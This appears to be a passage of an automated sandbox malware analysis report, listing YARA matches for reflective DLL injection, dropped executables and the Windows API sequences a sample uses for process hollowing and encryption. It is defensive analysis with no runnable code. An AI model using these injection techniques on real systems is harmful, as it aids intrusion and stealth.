Source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D4C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe

Code function: 11_2_00007FF683937B50 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

11_2_00007FF683937B50

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.3.explorer.exe.caf63f0.4.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.2.explorer.exe.caf63f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.2.explorer.exe.caf63f0.1.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.2.explorer.exe.8b70535.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.3.explorer.exe.caf63f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.3.explorer.exe.caf63f0.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.2.explorer.exe.8b70535.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.3.explorer.exe.caf63f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.2.explorer.exe.10a50000.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.3.explorer.exe.caf63f0.3.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.3.explorer.exe.caf63f0.4.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 3.2.explorer.exe.10a50000.3.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 11.0.tmp1946.exe.7ff6838c0000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 11.2.tmp1946.exe.7ff6838c0000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe, type: DROPPED	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D12D60 GetTempPathW,GetTempFileNameW,NtSetInformationFile,NtWriteFile,GetLastError,	0_2_00007FF795D12D60
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D12F38 NtCreateSection,NtClose,	0_2_00007FF795D12F38
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D12BEC type_info::_name_internal_method,RtlInitUnicodeString,NtOpenFile,	0_2_00007FF795D12BEC
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D12B44 NtMapViewOfSection,	0_2_00007FF795D12B44
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D11750 NtReadVirtualMemory,	0_2_00007FF795D11750
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D1312C NtCreateProcessEx,NtQueryInformationProcess,NtCreateThreadEx,	0_2_00007FF795D1312C
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D133F8 free,free,malloc,NtQuerySystemInformation,free,	0_2_00007FF795D133F8
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D11B30 NtSuspendProcess,NtResumeProcess,CloseHandle,NtResumeProcess,CloseHandle,GetCurrentProcess,DuplicateHandle,CreateThread,CloseHandle,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,GetExitCodeThread,CloseHandle,CloseHandle,strrchr,GetCurrentProcess,DuplicateHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,	0_2_00007FF795D11B30
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D13328 NtQueryInformationFile,	0_2_00007FF795D13328
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D11B30 NtSuspendProcess,NtResumeProcess,CloseHandle,NtResumeProcess,CloseHandle,GetCurrentProcess,DuplicateHandle,CreateThread,CloseHandle,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,GetExitCodeThread,CloseHandle,CloseHandle,strrchr,GetCurrentProcess,DuplicateHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,	0_2_00007FF795D11B30
Source: C:\Windows\explorer.exe	Code function: 3_2_10A51370 CreateFileA,GetFileSize,malloc,ReadFile,CloseHandle,CreateProcessA,GetThreadContext,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,free,	3_2_10A51370
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E612F38 NtCreateSection,NtClose,	4_2_00007FF60E612F38
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E612D60 GetTempPathW,GetTempFileNameW,NtSetInformationFile,NtWriteFile,GetLastError,	4_2_00007FF60E612D60
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E612B44 NtMapViewOfSection,	4_2_00007FF60E612B44
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E612BEC type_info::_name_internal_method,RtlInitUnicodeString,NtOpenFile,	4_2_00007FF60E612BEC
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E611750 NtReadVirtualMemory,	4_2_00007FF60E611750
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E61312C NtCreateProcessEx,NtQueryInformationProcess,NtCreateThreadEx,	4_2_00007FF60E61312C
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6133F8 free,free,malloc,NtQuerySystemInformation,free,	4_2_00007FF60E6133F8
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E611B30 NtSuspendProcess,NtResumeProcess,CloseHandle,NtResumeProcess,CloseHandle,GetCurrentProcess,DuplicateHandle,CreateThread,CloseHandle,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,GetExitCodeThread,CloseHandle,CloseHandle,strrchr,GetCurrentProcess,DuplicateHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,	4_2_00007FF60E611B30
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E613328 NtQueryInformationFile,	4_2_00007FF60E613328
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E611B30 NtSuspendProcess,NtResumeProcess,CloseHandle,NtResumeProcess,CloseHandle,GetCurrentProcess,DuplicateHandle,CreateThread,CloseHandle,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,GetExitCodeThread,CloseHandle,CloseHandle,strrchr,GetCurrentProcess,DuplicateHandle,GetCurrentProcess,DuplicateHandle,CloseHandle,	4_2_00007FF60E611B30
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BF81750 NtReadVirtualMemory,	5_2_00007FF60BF81750
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BF8312C NtQueryInformationProcess,	5_2_00007FF60BF8312C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEB312C NtQueryInformationProcess,	10_2_00007FF69BEB312C
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BEB1750 NtReadVirtualMemory,	10_2_00007FF69BEB1750

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D2FBA0	0_2_00007FF795D2FBA0
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D43EE4	0_2_00007FF795D43EE4
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D43690	0_2_00007FF795D43690
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D35E20	0_2_00007FF795D35E20
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D3DD68	0_2_00007FF795D3DD68
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D338B4	0_2_00007FF795D338B4
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D38848	0_2_00007FF795D38848
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D417DC	0_2_00007FF795D417DC
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D3D744	0_2_00007FF795D3D744
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D2F204	0_2_00007FF795D2F204
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D449B0	0_2_00007FF795D449B0
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D414C8	0_2_00007FF795D414C8
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D3E470	0_2_00007FF795D3E470
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D35B88	0_2_00007FF795D35B88
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D41B8C	0_2_00007FF795D41B8C
Source: C:\Windows\explorer.exe	Code function: 3_2_10A517F0	3_2_10A517F0
Source: C:\Windows\explorer.exe	Code function: 3_2_10A7A872	3_2_10A7A872
Source: C:\Windows\explorer.exe	Code function: 3_2_10A6C1A8	3_2_10A6C1A8
Source: C:\Windows\explorer.exe	Code function: 3_2_10A76130	3_2_10A76130
Source: C:\Windows\explorer.exe	Code function: 3_2_10A7A140	3_2_10A7A140
Source: C:\Windows\explorer.exe	Code function: 3_2_10A6EA5C	3_2_10A6EA5C
Source: C:\Windows\explorer.exe	Code function: 3_2_10A573A7	3_2_10A573A7
Source: C:\Windows\explorer.exe	Code function: 3_2_10A573B1	3_2_10A573B1
Source: C:\Windows\explorer.exe	Code function: 3_2_10A573BB	3_2_10A573BB
Source: C:\Windows\explorer.exe	Code function: 3_2_10A5739D	3_2_10A5739D
Source: C:\Windows\explorer.exe	Code function: 3_2_10A573C3	3_2_10A573C3
Source: C:\Windows\explorer.exe	Code function: 3_2_10A573CD	3_2_10A573CD
Source: C:\Windows\explorer.exe	Code function: 3_2_10A75B0C	3_2_10A75B0C
Source: C:\Windows\explorer.exe	Code function: 3_2_10A57310	3_2_10A57310
Source: C:\Windows\explorer.exe	Code function: 3_2_10A7131C	3_2_10A7131C
Source: C:\Windows\explorer.exe	Code function: 3_2_10A76D18	3_2_10A76D18
Source: C:\Windows\explorer.exe	Code function: 3_2_10A786F0	3_2_10A786F0
Source: C:\Windows\explorer.exe	Code function: 3_2_10A6C7E8	3_2_10A6C7E8
Source: C:\Windows\explorer.exe	Code function: 3_2_10A6E7C4	3_2_10A6E7C4
Source: C:\Windows\explorer.exe	Code function: 3_2_10A70F6C	3_2_10A70F6C
Source: C:\Windows\explorer.exe	Code function: 3_2_10A78F44	3_2_10A78F44
Source: C:\Windows\explorer.exe	Code function: 3_2_08B8E0F9	3_2_08B8E0F9
Source: C:\Windows\explorer.exe	Code function: 3_2_08B71125	3_2_08B71125
Source: C:\Windows\explorer.exe	Code function: 3_2_08B8C11D	3_2_08B8C11D
Source: C:\Windows\explorer.exe	Code function: 3_2_08B99A75	3_2_08B99A75
Source: C:\Windows\explorer.exe	Code function: 3_2_08B8E391	3_2_08B8E391
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76CF6	3_2_08B76CF6
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76CE2	3_2_08B76CE2
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76CEC	3_2_08B76CEC
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76CD8	3_2_08B76CD8
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76CCE	3_2_08B76CCE
Source: C:\Windows\explorer.exe	Code function: 3_2_08B90C51	3_2_08B90C51
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76C45	3_2_08B76C45
Source: C:\Windows\explorer.exe	Code function: 3_2_08B95441	3_2_08B95441
Source: C:\Windows\explorer.exe	Code function: 3_2_08B76D00	3_2_08B76D00
Source: C:\Windows\explorer.exe	Code function: 3_2_08B9664D	3_2_08B9664D
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E62FBA0	4_2_00007FF60E62FBA0
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E63D744	4_2_00007FF60E63D744
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6417DC	4_2_00007FF60E6417DC
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6338B4	4_2_00007FF60E6338B4
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E638848	4_2_00007FF60E638848
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E63DD68	4_2_00007FF60E63DD68
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E635E20	4_2_00007FF60E635E20
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E643690	4_2_00007FF60E643690
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E643EE4	4_2_00007FF60E643EE4
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E635B88	4_2_00007FF60E635B88
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E641B8C	4_2_00007FF60E641B8C
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E63E470	4_2_00007FF60E63E470
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6414C8	4_2_00007FF60E6414C8
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6449B0	4_2_00007FF60E6449B0
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E62F204	4_2_00007FF60E62F204
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BF9FBA0	5_2_00007FF60BF9FBA0
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFADD68	5_2_00007FF60BFADD68
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFA5E20	5_2_00007FF60BFA5E20
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFB3690	5_2_00007FF60BFB3690
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFB3EE4	5_2_00007FF60BFB3EE4
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFAD744	5_2_00007FF60BFAD744
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFB17DC	5_2_00007FF60BFB17DC
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFA8848	5_2_00007FF60BFA8848
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFA38B4	5_2_00007FF60BFA38B4
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFB49B0	5_2_00007FF60BFB49B0
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BF9F204	5_2_00007FF60BF9F204
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFA5B88	5_2_00007FF60BFA5B88
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFB1B8C	5_2_00007FF60BFB1B8C
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFAE470	5_2_00007FF60BFAE470
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFB14C8	5_2_00007FF60BFB14C8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7AFBD8	6_2_00007FF7CA7AFBD8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B5C74	6_2_00007FF7CA7B5C74
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA791000	6_2_00007FF7CA791000
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B33BC	6_2_00007FF7CA7B33BC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A73F4	6_2_00007FF7CA7A73F4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA798B20	6_2_00007FF7CA798B20
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B0B84	6_2_00007FF7CA7B0B84
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A2CC4	6_2_00007FF7CA7A2CC4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A0C64	6_2_00007FF7CA7A0C64
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A1484	6_2_00007FF7CA7A1484
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A91B0	6_2_00007FF7CA7A91B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7AD200	6_2_00007FF7CA7AD200
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B518C	6_2_00007FF7CA7B518C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A7AAC	6_2_00007FF7CA7A7AAC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B8A38	6_2_00007FF7CA7B8A38
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A0A60	6_2_00007FF7CA7A0A60
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A1280	6_2_00007FF7CA7A1280
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA79979B	6_2_00007FF7CA79979B
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA799FCD	6_2_00007FF7CA799FCD
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B2F20	6_2_00007FF7CA7B2F20
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A1F30	6_2_00007FF7CA7A1F30
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7AFBD8	6_2_00007FF7CA7AFBD8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B5728	6_2_00007FF7CA7B5728
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A28C0	6_2_00007FF7CA7A28C0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A5040	6_2_00007FF7CA7A5040
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A1074	6_2_00007FF7CA7A1074
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7AD880	6_2_00007FF7CA7AD880
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7995FB	6_2_00007FF7CA7995FB
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7ACD6C	6_2_00007FF7CA7ACD6C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B4F10	6_2_00007FF7CA7B4F10
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7A0E70	6_2_00007FF7CA7A0E70
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B5C74	9_2_00007FF7CA7B5C74
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA791000	9_2_00007FF7CA791000
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B4F10	9_2_00007FF7CA7B4F10
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B33BC	9_2_00007FF7CA7B33BC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7AFBD8	9_2_00007FF7CA7AFBD8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A73F4	9_2_00007FF7CA7A73F4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA798B20	9_2_00007FF7CA798B20
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B0B84	9_2_00007FF7CA7B0B84
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A2CC4	9_2_00007FF7CA7A2CC4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A0C64	9_2_00007FF7CA7A0C64
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A1484	9_2_00007FF7CA7A1484
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A91B0	9_2_00007FF7CA7A91B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7AD200	9_2_00007FF7CA7AD200
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B518C	9_2_00007FF7CA7B518C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A7AAC	9_2_00007FF7CA7A7AAC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B8A38	9_2_00007FF7CA7B8A38
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A0A60	9_2_00007FF7CA7A0A60
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A1280	9_2_00007FF7CA7A1280
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA79979B	9_2_00007FF7CA79979B
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA799FCD	9_2_00007FF7CA799FCD
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B2F20	9_2_00007FF7CA7B2F20
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A1F30	9_2_00007FF7CA7A1F30
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7AFBD8	9_2_00007FF7CA7AFBD8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B5728	9_2_00007FF7CA7B5728
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A28C0	9_2_00007FF7CA7A28C0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A5040	9_2_00007FF7CA7A5040
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A1074	9_2_00007FF7CA7A1074
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7AD880	9_2_00007FF7CA7AD880
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7995FB	9_2_00007FF7CA7995FB
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7ACD6C	9_2_00007FF7CA7ACD6C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7A0E70	9_2_00007FF7CA7A0E70
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8372A68	9_2_00007FF8B8372A68
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B831DAC0	9_2_00007FF8B831DAC0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8305B5C	9_2_00007FF8B8305B5C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B830FBE0	9_2_00007FF8B830FBE0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8372C48	9_2_00007FF8B8372C48
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8367BFC	9_2_00007FF8B8367BFC
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83A5E64	9_2_00007FF8B83A5E64
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B83A8DF8	9_2_00007FF8B83A8DF8
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8330E15	9_2_00007FF8B8330E15
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B830FF60	9_2_00007FF8B830FF60
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8302FA0	9_2_00007FF8B8302FA0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B832F000	9_2_00007FF8B832F000
